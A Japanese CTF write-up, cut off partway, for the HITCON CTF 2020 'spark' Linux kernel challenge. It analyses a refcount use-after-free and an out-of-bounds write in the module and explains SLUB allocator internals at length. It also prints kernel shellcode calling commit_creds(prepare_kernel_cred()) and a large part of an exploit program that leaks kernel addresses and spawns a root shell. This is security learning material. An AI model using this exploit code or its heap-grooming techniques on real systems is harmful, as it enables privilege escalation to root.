イントロ Link to this heading

いつぞや開催されたHITCON CTF 2020。その pwn 問題であるsparkの記録。最近はブログを書くモチベと CTF をするモチベがどちらも停滞してきている。このままではレモンと思い、ここ 1 週間は kernel pwn 強化月間としている。自分自身 kernel のことは全然わからないメロンのため同じところをぐるぐるしてやる気が崩壊してしまうこともあるが、プイプイモルカーの気持ちを考えながら何とかやっている。 本問題は割と典型っぽい kernel ヒープの UAF 問題ではあると思うのだが、スラブアロケタの知識が曖昧だったため非常に手こずってしまいスイカになった。1.5 年前ならば TSG の諸先輩方に気楽に質問をすることができたのだが、最近解くような問題は 2・3 分で全体像が分かるようなものは少ないため、質問される側の負担を考えるとなかなか質問しにくいという状況である。よって何らかのドキュメントなり資料なりを検索することになるが、言ってることが大まかすぎたり問題の設定にあってなかったりでこれまた参考にならないことが多い。結局の所、ソースを一から読むに越したことはないというごく当たり前の事実に帰着し、りんごになった。 尚、最終的な PoC は@c0m0r1PoC を参考にしている。参考にしていると言うか、もうほとんどなぞっているだけである。オリジナルが見たい方はリンクを辿ってください。

問題概要 Link to this heading

配布物 Link to this heading

dist.sh
 1spark.ko: LKM.
 2$ file ./spark.ko
 3./spark.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=31e7889f4046c74466bd2bc4f13a7f18a7e2a8e1, not stripped
 4$ modinfo ./spark.ko
 5filename:       /home/wataru/Documents/ctf/hitcon2020/spark/work/./spark.ko
 6license:        GPL
 7author:         david942j @ 217
 8srcversion:     982767236753E40E8EA6141
 9depends:
10retpoline:      Y
11intree:         Y
12name:           spark
13vermagic:       5.9.11 SMP mod_unload
14
15run.sh: QEMU run script.
16  -append "console=ttyS0 kaslr panic=1" \
17SMEP/SMAPは無効 KPTI無効 シングルコア
18
19initramfs.cpio.gz: absolutely normal image
20
21demo.c: demo program using the LKM.
22
23bzImage: kernel image.
24$ cat /proc/version
25Linux version 5.9.11 (david942j@217-x) (gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0, GNU ld (GNU Binutils for Ubuntu) 2.30) #1 SMP Thu Nov 26 16:29:45 CST 2020

案の定ソースコードなんて配ってくれないため、自前 kernel を使うことができず、debuginfo なしでやるしかない。

モジュール Link to this heading

結構リバースがめんどくさかった。 /dev/nodeという misc デバイスを追加し、open するごとにノードを作成する。作成したノードは互いに重み付きリンクを張ることができる。リンクを貼ったノードによってグラフを作成し、ioctl で指定したノード間の距離をダイクストラ法によって算出して結果を返してくれるモジュールである。

node-fops.sh
 1pwndbg> p *((struct miscdevice*)0xffffffffc0004000)->fops
 2$3 = {
 3  owner = 0xffffffffc0004080,
 4  llseek = 0xffffffff812e8a90 <ext4_resize_fs+2480>,
 5  read = 0x0 <fixed_percpu_data>,
 6  write = 0x0 <fixed_percpu_data>,
 7  read_iter = 0x0 <fixed_percpu_data>,
 8  write_iter = 0x0 <fixed_percpu_data>,
 9  iopoll = 0x0 <fixed_percpu_data>,
10  iterate = 0x0 <fixed_percpu_data>,
11  iterate_shared = 0x0 <fixed_percpu_data>,
12  poll = 0x0 <fixed_percpu_data>,
13  unlocked_ioctl = 0xffffffffc0002050,
14  compat_ioctl = 0x0 <fixed_percpu_data>,
15  mmap = 0x0 <fixed_percpu_data>,
16  mmap_supported_flags = 0,
17  open = 0xffffffffc0002020,
18  flush = 0x0 <fixed_percpu_data>,
19  release = 0xffffffffc0002000,
20  fsync = 0x0 <fixed_percpu_data>,
21  fasync = 0x0 <fixed_percpu_data>,
22  lock = 0x0 <fixed_percpu_data>,
23  sendpage = 0x0 <fixed_percpu_data>,
24  get_unmapped_area = 0x0 <fixed_percpu_data>,
25  check_flags = 0x0 <fixed_percpu_data>,
26  flock = 0x0 <fixed_percpu_data>,
27  splice_write = 0x0 <fixed_percpu_data>,
28  splice_read = 0x0 <fixed_percpu_data>,
29  setlease = 0x0 <fixed_percpu_data>,
30  fallocate = 0x0 <fixed_percpu_data>,
31  show_fdinfo = 0x0 <fixed_percpu_data>,
32  copy_file_range = 0x0 <fixed_percpu_data>,
33  remap_file_range = 0x0 <fixed_percpu_data>,
34  fadvise = 0x0 <fixed_percpu_data>
35}

構造体 Link to this heading

モジュールで利用する構造体のうち重要なものは以下のとおり。

structure.c
 1struct edge{
 2  struct edge *next_edge;
 3  struct edge *prev_edge;
 4  struct node_struct *node_to;
 5  ulong weight;
 6};
 7
 8struct node_info{
 9  ulong cur_edge_idx;
10  ulong capacity;
11  struct node_struct **nodes;
12};
13
14struct node_struct{
15  ulong index;
16  long refcnt;
17  char mutex_state[0x20];
18  ulong is_finalized;
19  char mutex_nb[0x20];
20  ulong num_edge;
21  struct edge *prev_edge;
22  struct edge *next_edge;
23  ulong finalized_idx;
24  struct node_info *info;
25};

node_struct構造体は、/dev/nodeを open するごとにkmem_cache_alloc_trace()で確保される 0x80 サイズのノード実体である。各ノードはedge構造体のリストを持っており、これがノード間のリンクを表現する。ノードに対してはioctl(finalize)という操作が可能であり、これによってそのノードを始点として深さ優先探索をすることでグラフを作成する。探索された順がnode_struct.finalized_idxであり、各ノードはnode_struct.info->nodesに格納される。

Vulns Link to this heading

2 つのバグがある。

refcnt のインクリメント忘れ Link to this heading

node_struct.refcntによってそのノードを参照しているオブジェクト数を管理している。refcntが 1 であるときにcloseをすると、そのノードから生えている全てのedgenode自身をkfree()で解放する。

spark_node_put.c
 1  if (refcnt == 1) {
 2    info = node->info;
 3                    /* free info */
 4    if (info != (node_info *)0x0) {
 5      uVar4 = 1;
 6      if (1 < (ulong)info->cur_edge_idx) {
 7        do {
 8          refcnt = refcnt + 1;
 9          spark_node_put(info->nodes[uVar4]);
10          uVar4 = SEXT48(refcnt);
11        } while (uVar4 < (ulong)info->cur_edge_idx);
12      }
13      kfree(info->nodes);
14    }
15    peVar3 = node->prev_edge->next_edge;
16    peVar2 = node->prev_edge;
17    while (peVar1 = peVar3, peVar2 != (edge *)&node->prev_edge) {
18                    /* free all edges */
19      kfree(peVar2);
20      peVar3 = peVar1->next_edge;
21      peVar2 = peVar1;
22    }
23                    /* free node */
24    kfree(node);
25    return;
26  }

だが、refcntのインクリメントがノードの作成時のみ行われ、リンクの作成時には行われていない

spark_node_link.c
 1undefined4 spark_node_link(node_struct *node1,node_struct *node2)
 2
 3{
 4  undefined4 uVar1;
 5                    /* node1.index should be less than node2.index */
 6  if (node1->index < node2->index) {
 7    mutex_lock(node2->mutex_state);
 8    mutex_lock(node1->mutex_state);
 9    uVar1 = 0xffffffea;
10    if ((*(int *)&node1->is_finalized == 0) && (*(int *)&node2->is_finalized == 0)) {
11      spark_node_push(node1,node2);
12      spark_node_push(node2,node1);
13      uVar1 = 0;
14    }
15    mutex_unlock(node1->mutex_state);
16    mutex_unlock(node2->mutex_state);
17    return uVar1;
18  }
19  return 0xffffffea;
20}

このため、ノードを close するとそのノードを参照している edge が存在しているのにノードがkfree()されてしまう。リンクされていたノードからはそのリンクを辿れてしまうため、既にkfree()されたオブジェクトに対する floating pointer(dungling pointer っていうのかな)が存在することになる。kernel heap UAF である。

ダイクストラにおける OOB Link to this heading

グラフを作成(finalize)し、そのグラフを利用してノード間の距離を算出する際に、各ノードの暫定最短距離を保存するのにdistance array を確保している。普通のダイクストラのように始点ノードから BFS でdistanceを更新していく。この際distanceに対するアクセスはnode_struct.finalized_idxをインデックスとして利用している。

spark_graph_query.c
 1    do {
 2                    /* この0xFFFFF...は取り敢えずダイクストラしたことのtmpマーカーかな */
 3      *cur_distance_p = 0xffffffffffffffff;
 4      next_edge_p = cur_node_p->prev_edge;
 5                    /* 結局list_for_each_entry()をやっている */
 6      while ((edge *)&cur_node_p->prev_edge != next_edge_p
 7                    /* 幅優先探索 */) {
 8        known_distance = distances[next_edge_p->node_to->finalized_idx];
 9                    /* もし探索済みでなく、より最短経路であれば更新 */
10        if ((known_distance != 0xffffffffffffffff) && (uVar4 = next_edge_p->weight + counter, uVar4 < known_distance)) {
11          /*** VULN!! : OOB ***/
12          distances[next_edge_p->node_to->finalized_idx] = uVar4;
13        }
14        next_edge_p = next_edge_p->next_edge;
15      }
16      cur_distance_p = cur_distance;
17      ppnVar3 = a;
18      if (num_max_nodes != 0) {
19        iVar2 = 0;
20        known_distance = 0x7fffffffffffffff;
21        uVar4 = 0;
22        counter = start;
23        do {
24          uVar1 = distances[uVar4];
25          if ((uVar1 < known_distance) && (uVar1 != 0xffffffffffffffff)) {
26            counter = uVar4;
27            known_distance = uVar1;
28          }
29          iVar2 = iVar2 + 1;
30          uVar4 = SEXT48(iVar2);
31        } while (uVar4 < num_max_nodes);
32        if (end_idx == counter) goto LAB_0010097c;
33        cur_distance_p = distances + counter;
34        ppnVar3 = nodes + counter;
35      }
36      counter = *cur_distance_p;
37      cur_node_p = *ppnVar3;
38    } while ((counter & 0x7fffffffffffffff) != 0x7fffffffffffffff);

distances[next_edge_p->node_to->finalized_idx] = uVar4;distanceの更新を行っている。一見問題なさそうだが、あるノードに繋がっているノードの中身は、vuln1 の UAF を用いて任意に変更することができる。よって、node_struct.finalized_idxが不正な値に書き換えられていた場合、このインデックスのバウンドチェックがないため OOB(W)が成立する。

KASLR bypass/leak Link to this heading

本問題は SMEP/SMAP が無効のため RIP が取れれば終わりである。まずは exploit に必要な kernstack 及びnode_structが入る kernheap の leak をする。尚、node_structは 0x80 サイズのためkmalloc-128スラブキャッシュによって管理される。 leak 自体は簡単で、vuln1 の UAF を使った後に該当ノードを利用する操作をすればGeneralProtectionFault(以降 #GPF と呼ぶ)が起きる。今回起動パラメタにoops=panicがないため、単にエラーメッセージを吐いてユーザプロセスが死ぬだけで済む。

leak via #GPF log

leak via #GPF log

#GPF が起きた原因は0x922dd3f2227448b8という non-canonical なアドレスに対するアクセスである。この値は free されたノード中のポインタに該当し、これ dereference したことによって#GPF が発生する。0x922dd3f2227448b8という値は、恐らくだがスラブ内のオブジェクトのfreelistにおける次のオブジェクトへのポインタであると考えられる。というのも、今回の kernel はCONFIG_SLAB_HARDENオプションが有効化されており、freelist内のポインタがkmalloc_caches[0][7].random ^ kasan_reset_tag()との XOR によって obfuscated されている(glibc の tcache にしても、考えることは同じだなぁ、みつお。)。さらに、kmalloc-128においてoffsetメンバが0x40になっているため、各オブジェクトの先頭から0x40にこの XOR されたポインタが置かれることになる。

kmalloc-128

kmalloc-128

とうことで、この難読化されたポインタをnode_structのメンバとして dereference することによって#GPF が発生したものと思われる。ちゃんと確かめてはないから、知らんけど。 この#GPF によるエラーログをdmesgするか/var/log/kern.logを見ることで RSP から kernstack を、$R11 からノードオブジェクトのアドレス(kernheap)を leak できる。

最近の dmesg について Link to this heading

最近の Ubuntu ではdmesgなりでリングバッファを読むことが制限されているらし い。adm group に入っていれば OK らしいから通常ユーザであれば問題ないだろうが、CTF の問題だとどうなんやろ。まぁ Ubuntu 標準であって kernel 標準じゃないからいいのかな。詳しいことはどこか を参照のこと。

UAF されてるノードを取ってきたい Link to this heading

さて、ここまでで諸々の leak が早くも完了しているため、一番要である UAF されたノードの forge を行う。これを行うためには、setxattr()によって UAF されたノードオブジェクトをピンポイントで取得してくる必要がある。 正直なところ、スラブアロケタの知識が未熟未熟メロメロみかんであり、いまいちどうやるべきか分からなかったため、ここで最初に挙げた PoC をカンニングした。 そこでは、目的のノードを取得する前に 0x12 回同じサイズのオブジェクトを取得していた。恥ずかしい話、僕はkfree()したオブジェクトはkmem_cache.cpu_slab->freelistの先頭に繋がるんだから、この 0x12 回の取得なんてせずにすぐにsetxattr()を呼べば UAF 対象のノードを取得できるだろうと思っていた。

スラブアロケタについて Link to this heading

ここで、スラブアロケタについてお勉強し直した。SLUB かと思ったら SLAB について説明している資料を見て頭がこんがらがったり、詳解 Linux を読んで古すぎね?と思ったりした。結局はネットの日本語資料 を若干チラ見しつつ、デバフォ付きの kernel とソースコードでひたすらデバッグして大凡全体像は掴めたつもりでいる。ここでスラブアロケタについての解説をしようとも思ったが、まじでこの資料 の出来が良すぎてこれ以上のものなんてできやしない+時間の無駄だと思ったため、全体の解説は行わない。

ただ、ざっくりとした概要と気になるところだけ少しメモしておく。 kernel はバディシステムからページごとに領域を確保する。バディアロケタはページ単位でしか領域を確保できないため、これを細かく分割して利用・管理するためのシステムがスラブアロケタである。スラブキャッシュはオブジェクトの種類・若しくはサイズごとに分かれている。よく使う構造体(struct credなど)は専用のキャッシュが用意されているし、それ以外の構造体についてはブート時に確保されるキャッシュ(kmalloc-xxx)が利用される。後者はkmalloc_caches配列にスラブキャッシュへのポインタが確保されており、サイズごと且つ種類(GFP_KERNELとか)ごとにインデックス付けされている。 スラブキャッシュは CPU 毎のスラブと NUMA ノードごとのスラブ(複数)を持っている。NUMA は CPU・メモリブロック・両者を繋ぐメモリバスをひと単位とするノードを複数持つシステムであるが、正直よく分かっていないし、普通のパソコンでは恐らく以下の通り node==1 であるため、実質スラブは CPU に紐付けられたものが一つとそれ以外のスラブリストが一つと考えておいて良いと思う。

numa.sh
1$ numactl --hardware
2available: 1 nodes (0)
3node 0 cpus: 0 1 2 3 4 5 6 7
4node 0 size: 31756 MB
5node 0 free: 1420 MB
6node distances:
7node   0
8  0:  10

尚、今回はそもそもにシングルコア問だから尚更である。CPU に紐付けられたスラブはfreelistをもっており、これがオブジェクトのリストを構成する。CPU に紐付けられていないスラブはkmem_cache.node配列にノードという単位でポインタが格納されており、一つのノードはkmem_cache.node.partialにスラブ(struct page)のリストを保持している。各pagefreelistに free なオブジェクトのリストを持っている。

per-cpu-data について Link to this heading

先程から出ているCPU に紐付けられたというデータだが、これは GDB 上で以下のように見える。

kmalloc-128.c
 1$12 = {cpu_slab = 0x310e0, flags = 1073741824, min_partial = 5, size = 128, object_size = 128, reciprocal_size = {m = 1, sh1 = 1 '\001', sh2 = 6 '\006'}, offset = 64, oo = {x = 30}, max = {x = 32}, min = {
 2    x = 32}, allocflags = 32, refcount = 0, ctor = 0x1 <fixed_percpu_data+1>, inuse = 0, align = 0, red_left_pad = 128, name = 0x0 <fixed_percpu_data>, list = {next = 0xffffffff8235c772,
 3    prev = 0xffff88800f041a68}, kobj = {
 4    name = 0xffff88800f041868 "h\031\004\017\200\210\377\377h\027\004\017\200\210\377\377\334\306\065\202\377\377\377\377\200\031\004\017\200\210\377\377\200\027\004\017\200\210\377\377x\031\211\016\200\210\377\377`\031\211\016\200\210\377\377@\370o\202\377\377\377\377", entry = {next = 0xffffffff8235c772, prev = 0xffff88800f041a80}, parent = 0xffff88800f041880, kset = 0xffff88800e891978, ktype = 0xffff88800e891960,
 5    sd = 0xffffffff826ff840, kref = {refcount = {refs = {counter = 245636352}}}, state_initialized = 0, state_in_sysfs = 0, state_add_uevent_sent = 0, state_remove_uevent_sent = 0, uevent_suppress = 0},
 6  random = 12884901889, remote_node_defrag_ratio = 2734939157, useroffset = 3483165071, usersize = 1000, node = {0xffff88800f04e100, 0x8000000000, 0xffff88800f040e80, 0x0 <fixed_percpu_data>,
 7    0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x310c0, 0x40000000, 0x5 <fixed_percpu_data+5>, 0x6000000060, 0x60155555556, 0x1e00000030, 0x2a0000002a,
 8    0x2a <fixed_percpu_data+42>, 0x1 <fixed_percpu_data+1>, 0x0 <fixed_percpu_data>, 0x800000060, 0x0 <fixed_percpu_data>, 0xffffffff8235c6bd, 0xffff88800f041b68, 0xffff88800f041968, 0xffffffff8235c6bd,
 9    0xffff88800f041b80, 0xffff88800f041980, 0xffff88800e891978, 0xffff88800e891960, 0xffffffff826ff840, 0xffff88800ea42b80, 0x300000001, 0x1cc8d0a44a4c82c4, 0x3e8, 0xffff88800f043180, 0x6000000000,
10    0xffff88800f040ec0, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x310a0, 0x40000000, 0x5 <fixed_percpu_data+5>, 0x4000000040, 0x50100000001,
11    0x1e00000020, 0x4000000040, 0x40, 0x1 <fixed_percpu_data+1>, 0x0 <fixed_percpu_data>, 0x4000000040, 0x0 <fixed_percpu_data>, 0xffffffff8235c753, 0xffff88800f041c68, 0xffff88800f041a68, 0xffffffff8235c753,
12    0xffff88800f041c80, 0xffff88800f041a80, 0xffff88800e891978, 0xffff88800e891960, 0xffffffff826ff840, 0xffff88800ea43a00, 0x300000001, 0x6a68fa625bc24bef, 0x3e8}}

これはstruct kmem_cache型のkmalloc-128の例であり、この内最初のメンバであるstruct kmem_cache_cpu型のcpu_slabが CPU 毎のデータで、0x310e0という明らかに不自然なデータが入っている。これは勿論x/gx 0x310e0のように見ることはできない。 自前 kernel を使っており、linux-provided なスクリプトが利用できる場合には GDB の$lx_per_cpu()関数によって指定した CPU 毎のデータを参照することができるが、配布された kernel の場合にはできない。その場合には以下の手順を踏む。(もっといい方法があったら教えてください)

  • /proc/kallsyms | grep per_cpu_offsetを読む
ex.sh
1ffffffff82426900 R __per_cpu_offset
  • __per_cpu_offsetは、配列になっており x 番目の CPU 用領域へのポインタが に入っている。今回はシングルコアで動かしているため[0]だけが有効で他はみんな同じ値になっている。
ex.sh
1(gdb) x/10gx 0xffffffff82426900
20xffffffff82426900 <knl_uncore_m2pcie>: 0xffff88800f600000      0xffffffff82889000
30xffffffff82426910 <knl_uncore_m2pcie+16>:      0xffffffff82889000      0xffffffff82889000
40xffffffff82426920 <knl_uncore_m2pcie+32>:      0xffffffff82889000      0xffffffff82889000
50xffffffff82426930 <knl_uncore_m2pcie+48>:      0xffffffff82889000      0xffffffff82889000
60xffffffff82426940 <knl_uncore_m2pcie+64>:      0xffffffff82889000      0xffffffff82889000
  • 先程のアドレス0x310e0__per_cpu_offsetから読んだアドレスを足す。
ex.sh
1(gdb) p *(struct kmem_cache_cpu*)(0xffff88800f600000+0x310e0)
2$1 = {freelist = 0x0 <fixed_percpu_data>, tid = 6035, page = 0xffffea0000367e80}

ちゃんと CPU 毎のスラブ情報が読めていることが分かる。こっから話は逸れるが少しスラブの内容を追ってみる。freelistが現在0x0になっているため、次のkmem_cache_alloc()kmem_cache.nodeから空きオブジェクトのあるスラブを検索して入れ替えるであろうことが推測される。

ex.sh
1(gdb) p *(struct kmem_cache_cpu*)(0xffff88800f600000+0x310e0)
2$9 = {freelist = 0xffff88800da1f800, tid = 6040, page = 0xffffea00003687c0}

新しいスラブが CPU 専属のスラブになった。おまけでfreelistの先を見てみる。(今回offsetは 0x40 である)

ex.sh
1(gdb) p *(struct kmem_cache_cpu*)(0xffff88800f600000+0x310e0)
2$9 = {freelist = 0xffff88800da1f800, tid = 6040, page = 0xffffea00003687c0}
3(gdb) x/2gx 0xffff88800da1f800+0x40
40xffff88800da1f840:     0x709bc8022e2ad9ea      0x0000000000000000

次のポインタが0x709bc8022e2ad9eaになっている。これは、スラブキャッシュが保有しているrandomというメンバの値で XOR されたポインタである。厳密に言えば、slab_alloc_node()(fastpath)から呼ばれるfreelist_ptr()において以下のように復号される。

slub.c
 1static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
 2				 unsigned long ptr_addr)
 3{
 4#ifdef CONFIG_SLAB_FREELIST_HARDENED
 5	return (void *)((unsigned long)ptr ^ s->random ^
 6			swab((unsigned long)kasan_reset_tag((void *)ptr_addr)));
 7#else
 8	return ptr;
 9#endif
10}

randomの値を読むのは、(config によってkmem_cacheの中身が異なるから若干めんどいけど)スラブキャッシュ自体をみればいいだけだからそんな難しいことはない。けど、kasan_reset_tag()の返す値が何なのかいまいち分かってないため、未だにこのポインタの復号方法が分からないでいる。誰かご存知の方居たら教えてください…。

最初に kfree されたノードは何処へ行くか Link to this heading

さてさて、少し前置きが長くなったが「free したばっかのノード(オブジェクト)が CPU 専属スラブのfreelistの根っこに繋がる」という考えは間違いであった。というのも、exploit においては以下のように alloc/free を行っている。

exploit-alloc-free.c
 1  for(int i = 0; i < N; i++) {
 2    fd[i] = open(DEV_PATH, O_RDWR);
 3    assert(fd[i]);
 4  }
 5
 6  (snipped...)
 7  close(fd[0]);   // vuln
 8
 9  (snipped...)
10  ALLOC_KMALLOC_128(0x12);
11  setxattr("/home/spark", "NIRUGIRI", &fake_node0, sizeof(fake_node0), XATTR_CREATE);

ここで、UAF に使うノードfd[0]は最初の for 文の一番最初に確保され、同じ for で N(==0x20)-1 個の他のノードが確保される。その後で脆弱性のあるノードを close(kfree)している。 このとき、fd[0]を確保したスラブと fd[0]を close する際の CPU 専属のスラブは明らかに別のページから取得されている。というのも、kmalloc-128は以下のようになっている。

slabinfo.sh
1$ sudo cat /proc/slabinfo | grep ^kmalloc-128
2kmalloc-128         4884   5216    128   32    1 : tunables    0    0    0 : slabdata    163    163      0

左から利用しているオブジェクト数・全体のオブジェクト数・オブジェクト一つのサイズ・1 スラブあたりのオブジェクト数・1 スラブあたりのページ数・(0 は飛ばして)アクティブなスラブ数・全体のスラブ数である。ここで 1 スラブあたりのオブジェクト数は0x20であり、最初の for 文で 0x20 回ノードを確保しているため、その途中で必ず CPU 専属のスラブが枯渇し、NUMA ノードのスラブと入れ替わることになる。よって、その後に close しても、fd[0]が所属するスラブとその時の CPU 専属スラブは別のものであり、do_slab_free()では slowpath が選択されて、cpu_slabfreelistではなくnode.partialfreelistに繋がることになる。これが直ちに setxattr しても目的のノードを取得できない理由である

目的のノードを取得する Link to this heading

ということで、最初にkfreeしたfd[0].private_dataを取得するには、CPU 専属スラブをfd[0]を close した時のスラブに戻す必要がある。この時、どれだけkmem_cache_alloc_trace()を呼び出せば良いのかという問題がある。というのも、kernel では実行が切り替えられ色々なパスが実行されるため、exploit の実行中に heap が利用され、現在の heap の状況が変わってしまうと考えられるからである。 結論から言うと、今回はkmem_cache_alloc_trace()する回数は完全に固定値で良かった。というのも、kmalloc-128を使うパスにブレイクを張って exploit を動かしたところ、この exploit 以外には全くkmalloc-128が使われていなかった。即ち、exploit でいじった以外に heap がいじられることはなかったため、heap の状態は完全に既知としてよかった。これが何故なのかは、正直分かっていない。直感的にはkmalloc-128を使うパスが exploit の途中で実行されてしまうような気がするが…。単にこのキャッシュが人気無いだけなのか、本問だけのなんか特殊な感じの理由があるのか。誰か知ってる方居たら教えてください…。 なにはともあれ、この前提のもとではfd[0]を kfree した時のスラブが CPU 専属になり、且つfd[0]freelistの根っこに繋がるまでkmallocを繰り返せば良い。この 0x12 回という回数だが、try&error でこうなった(厳密には、上述の PoC に書いてあったから GDB で確かめたら確かにそうなっていた)。なんかすんなりと求められる方法を知っているひとが居たら(以下略。 これでfd[0]を取得したら、元fd[0]の中身を任意の値に forge することができる。

ノードの偽装 Link to this heading

これで、vuln2 を利用して kernheap を始点とする OOB(W)ができる。このとき、書き込む offset はnode_struct.finalized_idxによって操作でき、書き込む値はリンクのweightによって操作できる。そのためには始点となるdistance array を既知のアドレスに取得する(kmalloc)必要がある。これも、先程までと同じ考え方ができるようにリンクするノード数を工夫して、distance array のサイズが 0x80 となるように工夫する。その結果、#GPF で leak した R11 がそのままdistance array のアドレスとなるようにする。

kernel shellcode Link to this heading

この overwrite はspark_graph_query()によって行われる。最初の#GPF で kernstack は leak しているため、この関数のスタックフレーム内の retaddr を書き換えれば RIP を取ることができる。SMEP/SMAP 無効のため、ユーザランドにおいておいたシェルコードでcommit_creds(prepare_kernel_cred())をすれば終わり。この 2 つの関数のアドレスは、シェルコードをに飛んだ時のスタックに積んであるアドレスを利用する。

shellcode_nirugiri.c
 1void NIRUGIRI(void)
 2{
 3  char *argv[] = {"/bin/sh",NULL};
 4  char *envp[] = {NULL};
 5  execve("/bin/sh",argv,envp);
 6}
 7
 8static void shellcode(void){
 9  asm(
10    "xor rdi, rdi\n"
11    "mov rbx, QWORD PTR [rsp+0x50]\n"
12    "sub rbx, 0x244566\n"
13    "mov rcx, rbx\n"
14    "call rcx\n"
15    "mov rdi, rax\n"
16    "sub rbx, 0x470\n"
17    "call rbx\n"
18    "add rsp, 0x20\n"
19    "pop rbx\n"
20    "pop r12\n"
21    "pop r13\n"
22    "pop r14\n"
23    "pop r15\n"
24    "pop rbp\n"
25    "ret\n"
26  );
27}

exploit Link to this heading

exploit.c
  1/* This PoC is completely based on @c0m0r1 's one. (https://github.com/c0m0r1/CTF-Writeup/blob/master/hitcon2020/spark/exploit.c) */
  2/* Also, some of the code is quoted from demo.c distributed during the CTF by author @david942j. */
  3
  4#include <stdlib.h>
  5#include <string.h>
  6#include <stdio.h>
  7#include <fcntl.h>
  8#include <unistd.h>
  9#include <errno.h>
 10#include <poll.h>
 11#include <assert.h>
 12#include <sys/ioctl.h>
 13#include <sys/mman.h>
 14#include <sys/types.h>
 15#include <sys/xattr.h>
 16
 17// commands
 18#define SPARK_LINK 0x4008D900
 19#define SPARK_FINALIZE 0xD902
 20#define SPARK_QUERY 0xC010D903
 21#define SPARK_GET_INFO 0x8018D901
 22#define DEV_PATH "/dev/node"
 23
 24// constants
 25#define PAGE 0x1000
 26#define FAULT_ADDR 0xdead0000
 27#define FAULT_OFFSET PAGE
 28#define MMAP_SIZE 4*PAGE
 29#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
 30#define N 0x20
 31
 32// globals
 33static int fd[N];
 34struct pt_regs lk_regs;   // leaked regs
 35struct node_struct fake_node0;
 36
 37const spark_graph_query_stack_offset = 0xFEB0;
 38/*
 39(gdb) p $rsp
 40$3 = (void *) 0xffffc900001dfea0
 41(gdb) set $spark_graph_query=$3
 42(gdb) set $leaked_sp=0xffffc900001efd50
 43(gdb) p/x (long)$leaked_sp - (long)$spark_graph_query
 44$5 = 0xfeb0
 45*/
 46
 47#define WAIT getc(stdin);
 48#define ulong unsigned long
 49#define NULL (void*)0
 50#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
 51                        } while (0)
 52ulong user_cs,user_ss,user_sp,user_rflags;
 53struct pt_regs {
 54	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
 55	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
 56	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
 57	ulong orig_ax; ulong ip; ulong cs; ulong flags;
 58  ulong sp; ulong ss;
 59};
 60void print_regs(struct pt_regs *regs)
 61{
 62  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
 63  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
 64  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
 65  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
 66  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
 67}
 68void NIRUGIRI(void)
 69{
 70  char *argv[] = {"/bin/sh",NULL};
 71  char *envp[] = {NULL};
 72  execve("/bin/sh",argv,envp);
 73}
 74static void save_state(void) {
 75  asm(
 76      "movq %%cs, %0\n"
 77      "movq %%ss, %1\n"
 78      "movq %%rsp, %2\n"
 79      "pushfq\n"
 80      "popq %3\n"
 81      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
 82}
 83
 84static void shellcode(void){
 85  asm(
 86    "xor rdi, rdi\n"
 87    "mov rbx, QWORD PTR [rsp+0x50]\n"
 88    "sub rbx, 0x244566\n"
 89    "mov rcx, rbx\n"
 90    "call rcx\n"
 91    "mov rdi, rax\n"
 92    "sub rbx, 0x470\n"
 93    "call rbx\n"
 94    "add rsp, 0x20\n"
 95    "pop rbx\n"
 96    "pop r12\n"
 97    "pop r13\n"
 98    "pop r14\n"
 99    "pop r15\n"
100    "pop rbp\n"
101    "ret\n"
102  );
103}
104
105struct spark_ioctl_query {
106  int fd1;
107  int fd2;
108  long long distance;
109};
110
111struct edge;
112struct node_info;
113struct node_struct;
114
115struct edge{
116  struct edge *next_edge;
117  struct edge *prev_edge;
118  struct node_struct *node_to;
119  ulong weight;
120};
121
122struct node_info{
123  ulong cur_edge_idx;
124  ulong capacity;
125  struct node_struct **nodes;
126};
127
128struct node_struct{
129  ulong index;
130  long refcnt;
131  char mutex_state[0x20];
132  ulong is_finalized;
133  char mutex_nb[0x20];
134  ulong num_edge;
135  struct edge *prev_edge;
136  struct edge *next_edge;
137  ulong finalized_idx;
138  struct node_info *info;
139};
140
141static void _link(int fd0, int fd1, unsigned int weight) {
142  assert(fd0 < fd1);
143  //printf("[+] Creating link between %d and %d with weight %u\n", fd0-3, fd1-3, weight);
144  assert(ioctl(fd0, SPARK_LINK, fd1 | ((unsigned long long) weight << 32)) == 0);
145}
146
147static void _query(int fd0, int fd1, int fd2) {
148  struct spark_ioctl_query qry = {
149    .fd1 = fd1,
150    .fd2 = fd2,
151  };
152  assert(ioctl(fd0, SPARK_QUERY, &qry) == 0);
153}
154
155static void _finalize(int fd0) {
156  int r = ioctl(fd0, SPARK_FINALIZE);
157}
158
159void invoke_gpf()
160{
161  printf("[+] invoking #GPF...\n");
162  for (int i = 0; i < 3; i++) {
163    fd[i] = open(DEV_PATH, O_RDONLY);
164    assert(fd[i] >= 0);
165  }
166  _link(fd[0], fd[1], 1); // still, their refcnt==1
167  close(fd[0]);   // node0's refcnt==0, then be kfree(), making floating-pointer
168  assert(ioctl(fd[1], SPARK_FINALIZE) == 0);  // dereference invalid pointer in node0 and invoke oops, then child be killed.
169}
170
171void leak_kaslr()
172{
173  char buf[0x200];
174  char dum[0x200];
175  const char *format ="\
176[    %f] RSP: 0018:%lx EFLAGS: %lx\n\
177[    %f] RAX: %lx RBX: %lx RCX: %lx\n\
178[    %f] RDX: %lx RSI: %lx RDI: %lx\n\
179[    %f] RBP: %lx R08: %lx R09: %lx\n\
